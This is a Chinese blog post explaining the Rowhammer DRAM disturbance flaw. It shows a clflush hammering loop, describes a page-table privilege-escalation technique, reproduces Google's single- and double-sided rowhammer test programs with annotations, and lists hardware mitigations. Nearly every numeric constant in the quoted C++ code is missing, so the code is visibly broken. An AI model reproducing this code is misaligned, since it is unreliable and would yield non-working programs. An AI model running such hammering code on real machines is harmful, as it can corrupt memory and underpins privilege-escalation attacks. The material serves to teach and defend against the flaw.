目录

. Rowhammer Introduction
. Rowhammer Principle
. Track And Fix

1.  rowhammer introduction

今天的DRAM单元为了让内存容量更大,所以在物理密度上更紧凑,但这样很难阻止临近的内存单元之间的电子上的互相影响,在足够多的访问次数后可以让某个单元的值从1变成0,或者相反

code example

code1a:
mov (X), %eax // Read from address X
mov (Y), %ebx // Read from address Y
clflush (X) // Flush cache for address X
clflush (Y) // Flush cache for address Y
jmp code1a

两个因素导致位的变化

. 地址选择: 地址X和地址Y必须印射到内存的不同row但是又是在同一bank上,即相邻行
每个DRAM芯片包含了很多行(row)的单元。访问一个byte在内存中涉及到将数据从row传输到芯片的"row buffer"中(放电操作),当读取或者写入row buffer的内容后,再把row buffer内容传输到原来的row单元里(充电操作)。这种"激活"一个row的操作(放电和充电)可以干扰到临近的row。如果这样做足够多的次数,临近row的自动刷新操作(一般是每64ms)可能会让临近row的位产生变化。
row buffer作为缓存,如果地址X和Y指向相同的row,那code1a将会从row buffer中读取信息而不用任何"激活"操作
每个DRAM的bank都有自己的"当前已激活的row",所以如果地址X和地址Y指向不同的bank,code1a将会从那些bank的row buffer中读取信息而不用反复的激活row。所以,如果地址X和地址Y指向同一bank上不同的row,code1a会导致X和Y不断的被激活,这被称为ROWHAMMERING . 绕过缓存: 没有了code1a中的CLFLUSH指令的话,内存读操作(mov)只会操作CPU的高速缓存。CLFLUSH刷新缓存的操作强制让内存的访问直接指向DRAM,而这会导致不断有row被重复的激活

The new research by Google shows that these types of errors can be introduced in a predictable manner. A proof-of-concept (POC) exploit that runs on the Linux operating system has been released. Successful exploitation leverages the predictability of these Row Hammer errors to modify memory of an affected device. An authenticated, local attacker with the ability to execute code on the affected system could elevate their privileges to that of a super user or “root” account. This is also known as Ring 0. Programs that run in Ring 0 can modify anything on the affected system.

Relevant Link:

http://linux.cn/article-5030-qqmail.html
http://www.ddrdetective.com/row-hammer/

2. Rowhammer Principle

0x1: Dynamic random-access memory (DRAM)

Dynamic random-access memory (DRAM) contains a two-dimensional array of cells.

在每个存储单元有一个电容器和一个存取晶体管。二进制数据值的两个状态通过电容器的完全充电和完全放电来分别表示

Memory disturbance errors can occur in cases where there is an abnormal interaction between two circuit components that should be isolated from each other. Historically, these memory disturbance errors have been demonstrated by repeatedly accessing (opening, reading, and closing) the same row of memory. This is discussed in detail in the research paper titled

0x2: Privilege Escalation Experiment

the test leverages row hammering to induce a bit flip in a page table entry (PTE) which forces the PTE to point to a physical page containing a page table of the attacking process.
The research uses the concept of memory spraying with the POSIX-compliant Unix system call that maps files or devices into memory — mmap() . The attacker could spray most of physical memory with page tables by using the mmap() system call to a single file repeatedly.
The tests were done with non-ECC memory using the CLFLUSH instruction with a “random address selection” methodology also described in their post.

./make.sh
./rowhammer_test

0x3: Code Analysis

rowhammer_test.cc

#define __STDC_FORMAT_MACROS

#include <assert.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h> const size_t mem_size = << ;
const int toggles = ; char *g_mem; char *pick_addr()
{
size_t offset = (rand() << ) % mem_size;
return g_mem + offset;
} class Timer
{
struct timeval start_time_; public:
Timer()
{
// Note that we use gettimeofday() (with microsecond resolution)
// rather than clock_gettime() (with nanosecond resolution) so
// that this works on Mac OS X, because OS X doesn't provide
// clock_gettime() and we don't really need nanosecond resolution.
int rc = gettimeofday(&start_time_, NULL);
assert(rc == );
} double get_diff()
{
struct timeval end_time;
int rc = gettimeofday(&end_time, NULL);
assert(rc == );
return (end_time.tv_sec - start_time_.tv_sec
+ (double) (end_time.tv_usec - start_time_.tv_usec) / 1e6);
} void print_iters(uint64_t iterations)
{
double total_time = get_diff();
double iter_time = total_time / iterations;
printf(" %.3f nanosec per iteration: %g sec for %" PRId64 " iterations\n",
iter_time * 1e9, total_time, iterations);
}
}; //读取指定长度的内存bit位,即触发"放电操作"
static void toggle(int iterations, int addr_count)
{
Timer t;
for (int j = ; j < iterations; j++)
{
uint32_t *addrs[addr_count];
for (int a = ; a < addr_count; a++)
{
//选取不同row,但是同一bank的内存bit,可能并不一定是相邻行
addrs[a] = (uint32_t *) pick_addr();
} uint32_t sum = ;
//循环toggles = 540000次,进行物理内存读取
for (int i = ; i < toggles; i++)
{
for (int a = ; a < addr_count; a++)
{
//读取addr_count长度的内存块
sum += *addrs[a] + ;
}
for (int a = ; a < addr_count; a++)
{
//清除addr_count长度内存块的对应的CPU高速缓存
asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");
}
} // Sanity check. We don't expect this to fail, because reading
// these rows refreshes them.
if (sum != )
{
printf("error: sum=%x\n", sum);
exit();
}
}
t.print_iters(iterations * addr_count * toggles);
} void main_prog()
{
g_mem = (char *) mmap(NULL, mem_size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -, );
assert(g_mem != MAP_FAILED); printf("clear\n");
//初始化对应的内存区( [g_mem ~ g_mem + mem_size] )为初始值: 0XFF
memset(g_mem, 0xff, mem_size); Timer t;
int iter = ;
//无限循环,在大多数时候,需要触发这个漏洞需要较多的尝试
for (;;)
{
printf("Iteration %i (after %.2fs)\n", iter++, t.get_diff());
//循环10次,每次8byte内存单位
toggle(, ); Timer check_timer;
printf("check\n");
uint64_t *end = (uint64_t *) (g_mem + mem_size);
uint64_t *ptr;
int errors = ;
for (ptr = (uint64_t *) g_mem; ptr < end; ptr++)
{
uint64_t got = *ptr;
if (got != ~(uint64_t) )
{
printf("error at %p: got 0x%" PRIx64 "\n", ptr, got);
errors++;
}
}
printf(" (check took %fs)\n", check_timer.get_diff());
if (errors)
exit();
}
} int main()
{
// In case we are running as PID 1, we fork() a subprocess to run
// the test in. Otherwise, if process 1 exits or crashes, this will
// cause a kernel panic (which can cause a reboot or just obscure
// log output and prevent console scrollback from working).
int pid = fork();
if (pid == )
{
main_prog();
_exit();
} int status;
if (waitpid(pid, &status, ) == pid)
{
printf("** exited with status %i (0x%x)\n", status, status);
} for (;;)
{
sleep();
}
return ;
}

double_sided_rowhammer.cc

// Small test program to systematically check through the memory to find bit
// flips by double-sided row hammering.
//
// Compilation instructions:
// g++ -std=c++11 [filename]
//
// ./double_sided_rowhammer [-t nsecs] [-p percentage]
//
// Hammers for nsecs seconds, acquires the described fraction of memory (0.0 to 0.9 or so). #include <asm/unistd.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/kernel-page-flags.h>
#include <map>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <vector> // The fraction of physical memory that should be mapped for testing.
double fraction_of_physical_memory = 0.3; // The time to hammer before aborting. Defaults to one hour.
uint64_t number_of_seconds_to_hammer = ; // The number of memory reads to try.
uint64_t number_of_reads = *; // Obtain the size of the physical memory of the system.
uint64_t GetPhysicalMemorySize() {
struct sysinfo info;
sysinfo( &info );
return (size_t)info.totalram * (size_t)info.mem_unit;
} // If physical_address is in the range, put (physical_address, virtual_address)
// into the map.
bool PutPointerIfInAddressRange(const std::pair<uint64_t, uint64_t>& range,
uint64_t physical_address, uint8_t* virtual_address,
std::map<uint64_t, uint8_t*>& pointers) {
if (physical_address >= range.first && physical_address <= range.second) {
printf("[!] Found desired physical address %lx at virtual %lx\n",
(uint64_t)physical_address, (uint64_t)virtual_address);
pointers[physical_address] = virtual_address;
return true;
}
return false;
} bool IsRangeInMap(const std::pair<uint64_t, uint64_t>& range,
const std::map<uint64_t, uint8_t*>& mapping) {
for (uint64_t check = range.first; check <= range.second; check += 0x1000) {
if (mapping.find(check) == mapping.end()) {
printf("[!] Failed to find physical memory at %lx\n", check);
return false;
}
}
return true;
} uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) {
// Read the entry in the pagemap.
uint64_t value;
int got = pread(pagemap, &value, ,
(reinterpret_cast<uintptr_t>(virtual_address) / 0x1000) * );
assert(got == );
uint64_t page_frame_number = value & ((1ULL << )-);
return page_frame_number;
} void SetupMapping(uint64_t* mapping_size, void** mapping) {
*mapping_size =
static_cast<uint64_t>((static_cast<double>(GetPhysicalMemorySize()) *
fraction_of_physical_memory)); *mapping = mmap(NULL, *mapping_size, PROT_READ | PROT_WRITE,
MAP_POPULATE | MAP_ANONYMOUS | MAP_PRIVATE, -, );
assert(*mapping != (void*)-); // Initialize the mapping so that the pages are non-empty.
printf("[!] Initializing large memory mapping ...");
for (uint64_t index = ; index < *mapping_size; index += 0x1000) {
uint64_t* temporary = reinterpret_cast<uint64_t*>(
static_cast<uint8_t*>(*mapping) + index);
temporary[] = index;
}
printf("done\n");
} // Build a memory mapping that is big enough to cover all of physical memory.
bool GetMappingsForPhysicalRanges(
const std::pair<uint64_t, uint64_t>& physical_range_A_to_hammer,
std::map<uint64_t, uint8_t*>& pointers_to_hammer_A,
const std::pair<uint64_t, uint64_t>& physical_range_B_to_hammer,
std::map<uint64_t, uint8_t*>& pointers_to_hammer_B,
const std::pair<uint64_t, uint64_t>& physical_range_to_check,
std::map<uint64_t, uint8_t*>& pointers_to_range_to_check,
void** out_mapping) { uint64_t mapping_size;
void* mapping;
SetupMapping(&mapping_size, &mapping); int pagemap = open("/proc/self/pagemap", O_RDONLY);
assert(pagemap >= ); // Don't assert if opening this fails, the code needs to run under usermode.
int kpageflags = open("/proc/kpageflags", O_RDONLY); // Iterate over the entire mapping, identifying the physical addresses for
// each 4k-page.
for (uint64_t offset = ; offset < mapping_size; offset += 0x1000) {
uint8_t* virtual_address = static_cast<uint8_t*>(mapping) + offset;
uint64_t page_frame_number = GetPageFrameNumber(pagemap, virtual_address);
// Read the flags for this page if we have access to kpageflags.
uint64_t page_flags = ;
if (kpageflags >= ) {
int got = pread(kpageflags, &page_flags, , page_frame_number * );
assert(got == );
} uint64_t physical_address;
if (page_flags & KPF_HUGE) {
printf("[!] %lx is on huge page\n", (uint64_t)virtual_address);
physical_address = (page_frame_number * 0x1000) +
(reinterpret_cast<uintptr_t>(virtual_address) & (0x200000-));
} else {
physical_address = (page_frame_number * 0x1000) +
(reinterpret_cast<uintptr_t>(virtual_address) & 0xFFF);
} //printf("[!] %lx is %lx\n", (uint64_t)virtual_address,
// (uint64_t)physical_address);
PutPointerIfInAddressRange(physical_range_A_to_hammer, physical_address,
virtual_address, pointers_to_hammer_A);
PutPointerIfInAddressRange(physical_range_B_to_hammer, physical_address,
virtual_address, pointers_to_hammer_B);
PutPointerIfInAddressRange(physical_range_to_check, physical_address,
virtual_address, pointers_to_range_to_check);
}
// Check if all physical addresses the caller asked for are in the resulting
// map.
if (IsRangeInMap(physical_range_A_to_hammer, pointers_to_hammer_A)
&& IsRangeInMap(physical_range_B_to_hammer, pointers_to_hammer_B)
&& IsRangeInMap(physical_range_to_check, pointers_to_range_to_check)) {
return true;
}
return false;
} uint64_t HammerAddressesStandard(
const std::pair<uint64_t, uint64_t>& first_range,
const std::pair<uint64_t, uint64_t>& second_range,
uint64_t number_of_reads) {
volatile uint64_t* first_pointer =
reinterpret_cast<uint64_t*>(first_range.first);
volatile uint64_t* second_pointer =
reinterpret_cast<uint64_t*>(second_range.first);
uint64_t sum = ; while (number_of_reads-- > ) {
sum += first_pointer[];
sum += second_pointer[];
asm volatile(
"clflush (%0);\n\t"
"clflush (%1);\n\t"
: : "r" (first_pointer), "r" (second_pointer) : "memory");
}
return sum;
} typedef uint64_t(HammerFunction)(
const std::pair<uint64_t, uint64_t>& first_range,
const std::pair<uint64_t, uint64_t>& second_range,
uint64_t number_of_reads); // A comprehensive test that attempts to hammer adjacent rows for a given
// assumed row size (and assumptions of sequential physical addresses for
// various rows.
uint64_t HammerAllReachablePages(uint64_t presumed_row_size,
void* memory_mapping, uint64_t memory_mapping_size, HammerFunction* hammer,
uint64_t number_of_reads) {
// This vector will be filled with all the pages we can get access to for a
// given row size.
std::vector<std::vector<uint8_t*>> pages_per_row;
uint64_t total_bitflips = ; pages_per_row.resize(memory_mapping_size / presumed_row_size);
int pagemap = open("/proc/self/pagemap", O_RDONLY);
assert(pagemap >= ); printf("[!] Identifying rows for accessible pages ... ");
for (uint64_t offset = ; offset < memory_mapping_size; offset += 0x1000) {
uint8_t* virtual_address = static_cast<uint8_t*>(memory_mapping) + offset;
uint64_t page_frame_number = GetPageFrameNumber(pagemap, virtual_address);
uint64_t physical_address = page_frame_number * 0x1000;
uint64_t presumed_row_index = physical_address / presumed_row_size;
//printf("[!] put va %lx pa %lx into row %ld\n", (uint64_t)virtual_address,
// physical_address, presumed_row_index);
if (presumed_row_index > pages_per_row.size()) {
pages_per_row.resize(presumed_row_index);
}
pages_per_row[presumed_row_index].push_back(virtual_address);
//printf("[!] done\n");
}
printf("Done\n"); // We should have some pages for most rows now.
for (uint64_t row_index = ; row_index + < pages_per_row.size();
++row_index) {
if ((pages_per_row[row_index].size() != ) ||
(pages_per_row[row_index+].size() != )) {
printf("[!] Can't hammer row %ld - only got %ld/%ld pages "
"in the rows above/below\n",
row_index+, pages_per_row[row_index].size(),
pages_per_row[row_index+].size());
continue;
} else if (pages_per_row[row_index+].size() == ) {
printf("[!] Can't hammer row %ld, got no pages from that row\n",
row_index+);
continue;
}
printf("[!] Hammering rows %ld/%ld/%ld of %ld (got %ld/%ld/%ld pages)\n",
row_index, row_index+, row_index+, pages_per_row.size(),
pages_per_row[row_index].size(), pages_per_row[row_index+].size(),
pages_per_row[row_index+].size());
// Iterate over all pages we have for the first row.
for (uint8_t* first_row_page : pages_per_row[row_index]) {
// Iterate over all pages we have for the second row.
for (uint8_t* second_row_page : pages_per_row[row_index+]) {
// Set all the target pages to 0xFF.
for (uint8_t* target_page : pages_per_row[row_index+]) {
memset(target_page, 0xFF, 0x1000);
}
// Now hammer the two pages we care about.
std::pair<uint64_t, uint64_t> first_page_range(
reinterpret_cast<uint64_t>(first_row_page),
reinterpret_cast<uint64_t>(first_row_page+0x1000));
std::pair<uint64_t, uint64_t> second_page_range(
reinterpret_cast<uint64_t>(second_row_page),
reinterpret_cast<uint64_t>(second_row_page+0x1000));
hammer(first_page_range, second_page_range, number_of_reads);
// Now check the target pages.
uint64_t number_of_bitflips_in_target = ;
for (const uint8_t* target_page : pages_per_row[row_index+]) {
for (uint32_t index = ; index < 0x1000; ++index) {
if (target_page[index] != 0xFF) {
++number_of_bitflips_in_target;
}
}
}
if (number_of_bitflips_in_target > ) {
printf("[!] Found %ld flips in row %ld (%lx to %lx) when hammering "
"%lx and %lx\n", number_of_bitflips_in_target, row_index+,
((row_index+)*presumed_row_size),
((row_index+)*presumed_row_size)-,
GetPageFrameNumber(pagemap, first_row_page)*0x1000,
GetPageFrameNumber(pagemap, second_row_page)*0x1000);
total_bitflips += number_of_bitflips_in_target;
}
}
}
}
return total_bitflips;
} //Hammer所有可访问的物理内存行
void HammerAllReachableRows(HammerFunction* hammer, uint64_t number_of_reads)
{
uint64_t mapping_size;
void* mapping;
SetupMapping(&mapping_size, &mapping); HammerAllReachablePages(*, mapping, mapping_size, hammer, number_of_reads);
} void HammeredEnough(int sig)
{
printf("[!] Spent %ld seconds hammering, exiting now.\n", number_of_seconds_to_hammer);
fflush(stdout);
fflush(stderr);
exit();
} int main(int argc, char** argv)
{
// Turn off stdout buffering when it is a pipe.
setvbuf(stdout, NULL, _IONBF, ); int opt;
while ((opt = getopt(argc, argv, "t:p:")) != -)
{
switch (opt) {
case 't':
number_of_seconds_to_hammer = atoi(optarg);
break;
case 'p':
fraction_of_physical_memory = atof(optarg);
break;
default:
fprintf(stderr, "Usage: %s [-t nsecs] [-p percent]\n", argv[]);
exit(EXIT_FAILURE);
}
} signal(SIGALRM, HammeredEnough); printf("[!] Starting the testing process...\n");
alarm(number_of_seconds_to_hammer);
HammerAllReachableRows(&HammerAddressesStandard, number_of_reads);
}

Relevant Link:

http://en.wikipedia.org/wiki/Dynamic_random-access_memory
http://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
https://github.com/google/rowhammer-test
http://en.wikipedia.org/wiki/Row_hammer

3. Track And Fix

This vulnerability exists within hardware and cannot be mitigated by just upgrading software. The following are the widely known mitigations for the Row Hammer issue:

. Two times (2x) refresh
is a mitigation that has been commonly implemented on server based chipsets from Intel since the introduction of Sandy Bridge and is the suggested default. This reduces the row refresh time by the memory controller from 64ms to 32ms and shrinks the potential window for a row hammer, or other gate pass type memory error to be introduced. . Pseudo Target Row Refresh (pTRR)
available in modern memory and chipsets. pTRR does not introduce any performance and power impact. . Increased Patrol Scub timers
systems that are equipped with ECC memory will often have a BIOS option that allows the administrator to set an interval at which the CPU will utilize the checksum data stored on each ECC DIMM module to ensure that the contents of memory are valid, and correcting any bit errors that may have been introduced. The number of correctable errors will vary based on architecture and ECC variant. Administrator’s may consider reducing the patrol scrub timers from the standard minute interval to a lower value.

Relevant Link:

http://www.ddrdetective.com/files/3314/1036/5702/Description_of_the_Row_Hammer_feature_on_the_FS2800_DDR_Detective.pdf
http://blogs.cisco.com/security/mitigations-available-for-the-dram-row-hammer-vulnerability

Copyright (c) 2015 LittleHann All rights reserved

Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors的更多相关文章

  1. 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击

    通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...

  2. Virtual address cache memory, processor and multiprocessor

    An embodiment provides a virtual address cache memory including: a TLB virtual page memory configure ...

  3. Virtualizing memory type

    A processor, capable of operation in a host machine, including memory management logic to support a ...

  4. HITAG 2 125kHz RFID IC Read-Write 256 bits

    Features 256 bits EEPROM memory organized in 8 pages of 32 bits each 32 bits unique factory programm ...

  5. 【转】C++ Incorrect Memory Usage and Corrupted Memory(模拟C++程序内存使用崩溃问题)

    http://www.bogotobogo.com/cplusplus/CppCrashDebuggingMemoryLeak.php Incorrect Memory Usage and Corru ...

  6. Memory Leak Detection in Embedded Systems

    One of the problems with developing embedded systems is the detection of memory leaks; I've found th ...

  7. C++ TUTORIAL - MEMORY ALLOCATION - 2016

    http://www.bogotobogo.com/cplusplus/memoryallocation.php Variables and Memory Variables represent st ...

  8. Method for training dynamic random access memory (DRAM) controller timing delays

    Timing delays in a double data rate (DDR) dynamic random access memory (DRAM) controller (114, 116) ...

  9. SAP NOTE 1999997 - FAQ: SAP HANA Memory

    Symptom You have questions related to the SAP HANA memory. You experience a high memory utilization ...

随机推荐

  1. opencv8-GPU之相似性计算

    Opencv支持GPU计算,并且包含成一个gpu类用来方便调用,所以不需要去加上什么__global__什么的很方便,不过同时这个类还是有不足的,待opencv小组的更新和完善. 这里先介绍在之前的& ...

  2. 开源:ASP.NET MVC+EF6+Bootstrap开发框架

    前言 我在博客园潜水两三年了,在这里看过很多大神的文章,也学到了很多东西.可以说我是汲取着博客园的营养成长的. 想当年,我也是拿10个G的精神粮食从一个博客园大神那里换来一套开发框架,正式走上开发之路 ...

  3. PHP 实现页面静态化

    PHP文件执行阶段:语法分析->编译->运行 静态html文件执行顺序:运行 动态程序: 连接数据库服务器或者缓存服务器->获取数据->填充到模板->呈现给用户 关于优化 ...

  4. 让计算机崩溃的python代码,求共同分析

    在现在的异常机制处理的比较完善的编码系统里面,让计算机完全崩溃无法操作的代码还是不多的.今天就无意运行到这段python代码,运行完,计算机直接崩溃,任务管理器都无法调用,任何键都用不了,只能强行电源 ...

  5. 重拾Blog

    上个月是我入职现在的公司三周年的月份,所以又续订了五年的合同,最近有一些思考,也不知道这个五年能否还会一直在这个公司工作. 一切随缘吧. 闲适有毒,忙碌的时光总是过的很快,自从加入这个公司以来,日常的 ...

  6. Sql视图创建语句

    create view [dbo].[AllUsers] as select u.UserId, u.Firstname, u.Lastname, u.ts, am.Email, au.UserNam ...

  7. C# WinForm捕获全局异常

    网上找的C# WinForm全局异常捕获方法,代码如下: static class Program { /// <summary> /// 应用程序的主入口点. /// </summ ...

  8. MSSQL 问题集锦

    [1]关于SQL Server数据库连接字符串的特殊参数说明 MultipleActiveResultSets和Mars_Connection同义,指定此数据库连接是否复用数据库内已建立的相同用户的连 ...

  9. android之拍照与摄像

    拍照和摄像的意图很简答,这里直接贴代码 布局文件 <?xml version="1.0" encoding="utf-8"?> <Linear ...

  10. <html>中的action

    现在发现html中的许多标签都具有重要属性,而且这些属性是需要用于数据的传输的,虽然说html着重在于数据的显示,但是 在浏览器与服务器之间的交互,需要有数据参与传输,而数据传输的标准,就依赖于htm ...